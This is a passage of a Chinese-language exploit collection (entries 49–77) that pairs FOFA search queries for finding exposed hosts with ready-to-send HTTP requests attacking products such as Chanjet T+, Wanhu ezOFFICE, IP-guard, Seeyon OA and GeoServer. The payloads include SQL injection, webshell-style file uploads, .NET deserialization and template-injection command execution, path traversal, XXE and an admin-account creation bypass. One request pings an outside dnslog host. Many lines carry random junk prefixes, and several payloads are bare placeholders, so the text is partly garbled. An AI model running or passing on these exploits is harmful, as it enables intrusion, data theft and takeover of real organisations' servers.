Host: your-ip
; I9 c* E: {6 c! sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
$ |1 P) F9 o! P9 C, q- N! _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 `: K$ U$ |8 m- w) R7 [Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
+ s0 M: o- \5 a. |. |5 fContent-Type: multipart/form-data;boundary=----269520967239406871642430066855
2 a5 C/ D0 M3 {------269520967239406871642430066855
4 Y5 [2 v2 y1 t+ ~( q* ZContent-Disposition: form-data; name="file"; filename="s.php"
1231
. O; _, B6 }5 vContent-Type: application/octet-stream
------269520967239406871642430066855
  I8 V% _7 }4 O5 QContent-Disposition: form-data; name="upload"
- c" |, f% j) K9 i. Pupload
------269520967239406871642430066855--


49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"
( L1 a) {/ n* m1 {
# E" |) y- F, R- m: zPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
6 D  Q% @! ?1 G% oHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
' N- N0 v' }: f- j. z3 {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
# t( {0 l& C. x! d5 CAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) w7 L2 z4 j# j4 x" I* E# g) q& GConnection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
+ X7 Z5 G4 ?% l, u1 x0 O3 s- w, a
$ m7 `& e  Y$ k9 c, g! h-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
* e0 i2 K: A4 q6 {$ A0 FContent-Type: application/octet-stream

wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
* }3 K" i5 o3 W4 X* hContent-Disposition: form-data; name="upload"
9 n: P+ f: l! m- o3 u0 K/ E' o$ x
upload
-----------------------------vvv3wdayqv3yppdxvn3w--


3 R5 q6 s+ [, f8 V; dhttp://x.x.x.x/tmpfile/updB3CB.tmp.php
6 L+ P: t- @% n. d; N  h2 y3 ?
; W  R. m4 \/ v$ m) W7 o- {50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
1 n+ y% P; V% E5 y' V3 `; \5 r+ `User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
- p0 w" C8 `. C; F" I: aConnection: close
Content-Length: 224
Accept: */*
6 |2 w$ h; _; H& ?2 T4 f8 g6 E) ^3 AAccept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
8 E6 T" v2 w9 e4 R7 S3 N+ C, D

51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
- M6 o7 @( T: q4 U0 O+ E; p. EFOFA：app="云时空社会化商业ERP系统"
# j3 ]5 r" c) q- }GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
$ S) l5 y' o$ g$ S' ^6 F/ `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
/ ?( e7 b  [+ S, nAccept-Encoding: gzip, deflate
+ p5 K2 H5 v4 D( J! V' ]Accept-Language: zh-CN,zh;q=0.9
/ X+ n) Z( x, M# Q# WConnection: close
7 I% t/ f; T2 }2 O
* G; r( y# h5 I: Z/ E1 g. N! S! j
52. 泛微E-Office json_common.php sql注入
, q' }% g8 A: u9 D7 Z; v2 @  x5 QFOFA：app="泛微-EOffice"
) p! H  Y* C% X9 _( U" ~3 y  _* ?POST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Content-Length: 87
6 F& P( |/ x0 K, j5 i/ R3 mAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
- i" S. M  s' R, jAccept-Encoding: gzip
! K8 W  B+ `& X$ k0 ^
  b' i- M. v/ O. n9 l5 Z& htfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333


1 Q3 D) w5 O2 P( i. w; S6 N53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

( Y7 ?2 \$ {' \- e7 u' f* c2 S
' M1 b9 m: [( e54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
: @+ v" w" S1 @: F( r9 y) Q"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
' e! T4 [) l6 e! z  H

完整数据包
. ~  R. O% w& m. X/ ~) `, F  Y) f. uPOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
8 ]% N3 e  d0 Z! v+ s4 GHost: x.x.x.x
" }1 [1 K5 d! s5 H  PUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
' O$ j  a. _# m2 aContent-Length: 593

  r4 N: y5 S1 k6 j{
"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
# j5 R6 b" M7 ~9 a; |; C) f  "ObjectInstance":{
' P" d$ v) B8 v  G' {   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
( [3 g$ j- x2 e   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
, ]& Z( W' F6 j" n0 E: D, }    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
0 q5 M& z. v1 O( d: E* q* }    }
  }
  }
}

2 ?7 n8 O/ m1 K6 G
第二步，访问如下url
- H. V3 @  D) G1 D# {2 ~9 m/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
' F$ _$ _& I" @9 w7 h

! {: F" J$ ?$ M' F2 p& d. b2 Z1 k1 n55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
# A1 A& `) f* l7 _+ ~第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
- k: G* b6 K7 k" h. ?第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

3 G) v0 E6 n+ A' j, m56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
3 O% j8 p" n7 Y* I% lHost: x.x.x.x
1 K4 c" `5 T$ F$ _5 d$ e2 I4 P- Y4 FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
0 e: N4 d  x& C8 d, q$ KContent-Type: application/json

. F# ?" B% M' c  _, l+ [{
( f$ X- f0 y3 z/ a8 g0 Y) i  "storeID":{
  i6 s* v9 D& h" {$ ?: R; j0 [# B    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
4 Q! b  l$ \. J+ D; j. _2 F    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
- Y2 B) {8 A/ R& y& h8 o0 L* z           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
' z$ f8 f' N. y2 K       }
. Z6 D- ]& l  R    }
  }
0 B8 E- _% z. P7 `# r' F}
5 |0 |! D: |8 {$ o1 V' f( e% Q

57. 畅捷通T+ keyEdit.aspx SQL注入
6 o  I8 H! C  j  W! FFOFA：app="畅捷通-TPlus"
) _2 A" f5 b" [+ x% T# w# |) ZGET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
( `3 _- Q$ x! x! i: F! EConnection: close

4 r: d- U1 `, q7 b. _
/ B" x0 Q3 O/ _/ j58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
* W4 K: F6 Z5 ]1 ^% |9 k) R8 uHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
9 B5 Z! h' I* l7 b% T# H. f' `Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
& t) _; F8 h* C- }' ]' ?Connection: close


  V. O7 I0 Y( @" I3 O! `; N) X59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
) x; }( h8 o; l. b: K  IPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
  Y6 l) j, z* xUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Content-Length: 1669
Accept: */*
Accept-Language: en
. g# I3 n2 _. Y' q3 O+ A! ZContent-Type: application/x-www-form-urlencoded
: ~& @+ e' n6 M8 u% dAccept-Encoding: gzip

6 }- E( J& n  F* EPAYLOAD
( Y6 }* F. ^4 `/ ^5 z+ j

' H3 e4 m7 p  t5 |60. 百卓Smart管理平台 importexport.php SQL注入
3 P. i$ c0 b- ]; L( D& @FOFA：title="Smart管理平台"
. Z7 S: F' l1 ]7 e) }4 \! LGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
1 X  _; {5 W+ X/ w* _0 ]Host:
2 U0 E" K7 i. A' ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
) K. y  }0 U& q, `0 r; H8 eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
+ r& J* N6 T% V8 k$ [5 VConnection: close

. M- R/ f% s7 g: U7 \
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
' ~7 {( ^+ V  u! N3 uFOFA: title="欢迎使用浙大恩特客户资源管理系统"
( A- @+ Z0 @9 Q) ^9 KPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
' V/ i! L  h# S) N; i6 SHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
5 Y7 N  x! ]) P" y. L  @; h' rContent-Length: 27
/ J$ R5 w, r7 \9 H" aAccept: */*
9 t0 o( I0 n9 WAccept-Encoding: gzip, deflate
Accept-Language: en
" e' _2 \8 K- ~$ vContent-Type: application/x-www-form-urlencoded
5 D$ v4 ~9 Z# R3 j9 d7 f6 U
8uxssX66eqrqtKObcVa0kid98xa
- A6 [2 ~5 s- \' _& e
! G7 E/ l- n5 r
62. IP-guard WebServer 远程命令执行
- ]+ T( z% _* ^5 u9 B+ jFOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
- d/ X# Z! t. ?" N2 h' ^Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

$ s( M, ]7 [. }5 J
访问
$ b  c, m2 y( ?$ k4 @
GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
  g- y# H" L: z

63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
$ o8 w) a+ q! TPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
9 k+ h4 x! R- r- e" j6 R, H; I% UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 G( M- ^" _1 |9 y# W8 R+ J  f9 ^Accept-Encoding: gzip, deflate
8 j: v+ Z8 Q! NAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
7 n' C1 `: J! \: l$ Y3 [. w
+ B- f* F# I7 W% d5 Opath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

2 P& a$ u- J" U7 u$ [9 r' \6 g64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
9 D- _" h5 e5 @. zContent-Length: 369
9 E: I6 T% t+ E# wAccept: */*
Accept-Language: en
Content-Type: text/xml; charset=utf-8
0 {+ K/ A0 }6 J$ |Accept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
+ g1 j( v" N0 ~" [( b<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
3 M, v/ Q$ P, d$ ~7 ?* z    </GetOSpById>
  </soap:Body>
# i7 k5 i0 M& |* `( Y$ T</soap:Envelope>

( r0 [' e# ~+ M8 u& T
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
4 m* H3 M% U* L4 v; d5 LFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
" J- U! i1 i4 X1 K+ ?1 h& b8 r7 aPOST /SystemMng.ashx HTTP/1.1
6 R$ ]  x& p8 e6 S- x$ a; eHost:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
6 X+ U5 i) g( F5 ~* m! pAccept: */*
: F6 Z' v/ d) k, zConnection: close
2 H6 Q: Q8 E- k8 d+ ?6 QAccept-Language: en
2 H. J- {7 d% j/ d. cContent-Length: 174
! F( w1 V1 ]( ?
9 O9 H' l' v  S6 s0 C# woperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators


66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
2 [0 r/ _) h+ N& {% h9 q7 IFOFA：app="万户ezOFFICE协同管理平台"
5 D* ?8 |! w; R2 u! Y+ ^7 T
; l% C, d8 t  l  S! i, _) G3 [! gGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
& K8 G. q/ x" yHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
* X5 e3 R0 D" e* z$ b! |9 F/ [Connection: close
6 B# o6 c" Z* K& B: \8 F& M  `Accept: */*
  U' ]# ~1 w8 CAccept-Language: en
3 f5 D1 h0 D9 O# `: BAccept-Encoding: gzip


第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
5 I& `0 l1 }& w9 z, }8 U8 G' o
/ O  R' J: D8 [5 l- P) w0 y+ y67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
' X* o: M2 E7 n4 h, K% b( EPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
9 m6 V% u% Y; P! o4 EHost: x.x.x.x
- n' T4 x+ V6 X% W) g& f, HUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
, n) z/ C% t8 [$ K% {4 p) lAccept-Encoding: gzip, deflate
& D' C4 B- ]1 B3 GAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
# P2 W) W% I! y3 F9 N0 n& H6 nContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
Upgrade-Insecure-Requests: 1
- E: `1 I4 h" n) r+ f: e( H0 B9 J5 a
--ufuadpxathqvxfqnuyuqaozvseiueerp
  ~; ]% _: B6 P" GContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
' z* I0 N) r* V
<% out.print("sasdfghjkj");%>
# |5 o8 f3 o. F3 ^# X2 @2 [) C  Q4 {--ufuadpxathqvxfqnuyuqaozvseiueerp--


$ X. I5 I6 U" C文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
5 D% Y- Z8 J, f' j) Z1 W( E, J
68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
1 k. ~8 g+ c: `" P# V9 CHost: {{host}}
% a; U, H/ Y5 E, A4 r/ oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
# E: X5 h: U7 B. U% kAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
& Z( y# ^$ u% P$ g' NConnection: close

5 p# O' r5 i7 C1 X
; h7 `& P: f1 m/ y( f0 k69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
% O8 {+ n* l5 u: qAccept-Encoding: gzip, deflate
  A; j# o+ z1 C7 `* d7 u$ }: CAccept: */*
. Y7 u* z$ R2 M1 }% W% K- N/ v* CConnection: keep-alive
0 h, B8 [- f- [  g
' v6 }/ U* z- D5 \2 H
  r2 V4 V8 H. L# a8 n70. 万户ezEIP success 命令执行
$ F2 y7 z% Y" Z3 jFOFA：app="万户网络-ezEIP"
POST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
: b3 u  L: a3 z8 [7 \2 f+ SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
0 {: [# b- t  r. H  }" g6 ?5 AContent-Type: application/x-www-form-urlencoded
TYPE: C
: [- s' w" F$ A9 H# Y: @7 t' TContent-Length: 16702
  A- \5 {  Z4 I$ ?" r% x
__VIEWSTATE=PAYLOAD


8 ~+ F0 e% N4 i( _& O71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
, H" J( V# z( S' O, P) cAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
+ [  L/ d, k% u6 A
9 P5 J3 X7 Q2 D
72. 致远OA getAjaxDataServlet XXE
/ \# w6 O) A  k8 WFOFA：app="致远互联-OA"
0 K  K2 W  Q2 ?0 XPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
5 S  {2 m9 \% X- r  Z8 mHost: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
( o' P. |$ b2 E# gContent-Length: 583
Content-Type: application/x-www-form-urlencoded
; q8 X( y0 i) b) b: F! ^( xAccept-Encoding: gzip
" S" d( ?* c: S* C
  C( z9 Y: N/ B+ ?' z, Y& g) v# uS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E


73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
Host:
7 W+ S; B5 ^1 C' N) P, ?User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
+ `( x1 q! {2 Z( K& KContent-Length: 1981
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/xml
8 t" f" P% x9 a' s, nSL-CE-SUID: 3
4 ~/ G* x/ \* A8 `
PAYLOAD

5 j& Z* `1 x9 r( [) A
! M) L; _% l7 V2 @' J74. 致远M3-server 6_1sp1 反序列化RCE
( w2 h/ I' N. s9 M3 r! d7 EFOFA：title="M3-Server"
PAYLOAD

! P2 V+ h# C7 M, l; }1 T75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
/ j8 K( f( t8 ~' ?/ O% [FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
( R$ K4 E: k# r( u# l" X( AHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
" h% c" N2 x5 @5 V& F  xConnection: close
# q4 U) x$ j) `. z" F0 LAccept: */*
" a+ B4 b8 x6 q# p$ j0 m7 l0 @Accept-Language: en
) N4 X( i3 I0 X% g) L) b6 K9 E% QAccept-Encoding: gzip
5 c4 z4 ]9 j: Q0 y: E
, r& N" B4 O2 j& _% l" p
GET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x

$ t) ^* t& K( m" O3 u
* ~2 y: h. l4 l" }3 g2 r76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
1 Z# Z9 Y" q1 l6 H) ePOST /service_transport/service.action HTTP/1.1
1 Q+ G$ f( o" PHost: x.x.x.x
" F$ W* Y& X  {# P! `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& c* F9 B' e/ {  n' k6 pAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" l' l' C# ^, U3 rCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
$ [! J# \6 ?) {1 y* |* [Upgrade-Insecure-Requests: 1

{
/ r0 Y9 E" F/ Y' G; R7 v"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
% @% O. T" S+ E6 a) t, r  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}


; k8 K, Y( t3 pGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x



77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
2 |) W5 x; @/ e0 W6 gContent-Length: 433
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
2 y& N. C/ u8 ?0 n: `% dContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
' i- {* h: ~0 Q" @
5 h# q4 d- K$ X------------398jnjVTTlDVXHlE7yYnfwBoix
* O. z. u% l8 m) x8 NContent-Disposition: form-data; name="folder"
& t: ?7 [3 y% e" m" j1 g% U7 r
/upload/udplog
% M+ ~3 l) ^) c3 X' p------------398jnjVTTlDVXHlE7yYnfwBoix
3 \& t/ S& ]! Z7 u3 H* n! @- J! IContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
9 N' x( G" T* x" S- z' BContent-Type: application/octet-stream
, i. s" Y6 a4 Z3 e
